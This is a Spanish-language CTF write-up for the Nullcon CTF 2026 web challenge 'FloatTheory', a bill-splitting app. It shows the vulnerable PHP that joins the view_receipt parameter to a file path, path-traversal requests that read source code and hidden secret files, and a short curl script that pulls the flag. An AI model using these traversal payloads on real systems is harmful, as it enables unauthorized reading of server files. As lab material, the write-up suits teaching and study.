Datos del reto
| Campo | Valor |
|---|---|
| CTF | Nullcon CTF 2026 |
| Reto | FloatTheory (BillSplitter Lite) |
| Categoría | Web |
| Flag | ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd} |
Descripción del reto
El sitio simulaba una aplicación para dividir gastos entre amigos. Toda la historia giraba alrededor de una "administrative fee" de 0.01, pero la parte interesante no estaba en cálculos flotantes raros sino en cómo el backend guardaba y mostraba los archivos de cada sesión.
Reconocimiento
La aplicación permitía agregar personas, calcular el total y consultar recibos con el parámetro ?view_receipt=. Desde el principio había varias pistas:
- el campo de nombre mostraba
Filenamecomo placeholder; - el sitio decía que todo se guardaba en archivos del servidor;
- el balance siempre mostraba
0.01000.
Eso hacía pensar que el parámetro view_receipt merecía una mirada más de cerca.
Análisis
El problema real era un LFI bastante limpio. El backend concatenaba directamente el valor de view_receipt a la ruta del directorio del usuario:
$target = $user_dir . $_GET['view_receipt'];
if (file_exists($target)) {
$lfi_content = file_get_contents($target);
}
Con una ruta como ../../index.php se podía leer el código fuente y entender la mecánica interna. Ahí se veía que:
- cada sesión tenía su propio directorio en
/var/www/html/users/{session_id}/; - la flag se guardaba en un archivo
secret_XXXXXXXX; - el nombre exacto de ese archivo quedaba escrito en
.lock; - los archivos
secret_*no aparecían en la interfaz, pero seguían siendo accesibles porview_receipt.
Resolución
La explotación salió en dos peticiones.
Primero, leer .lock para recuperar el nombre del archivo secreto:
GET /?view_receipt=.lock
Eso devolvía algo como:
secret_rCAlqyJl
Después, pedir directamente ese archivo:
GET /?view_receipt=secret_rCAlqyJl
La respuesta incluía tanto el valor 0.01 como la flag:
0.01
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}
Si se quería automatizar, alcanzaba con algo así:
curl -sc /tmp/c http://52.59.124.14:5069/ -o /dev/null
SECRET=$(curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=.lock" | grep -oP 'secret_\w+')
curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=$SECRET" | grep -oP 'ENO\{[^}]+\}'
Flag
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}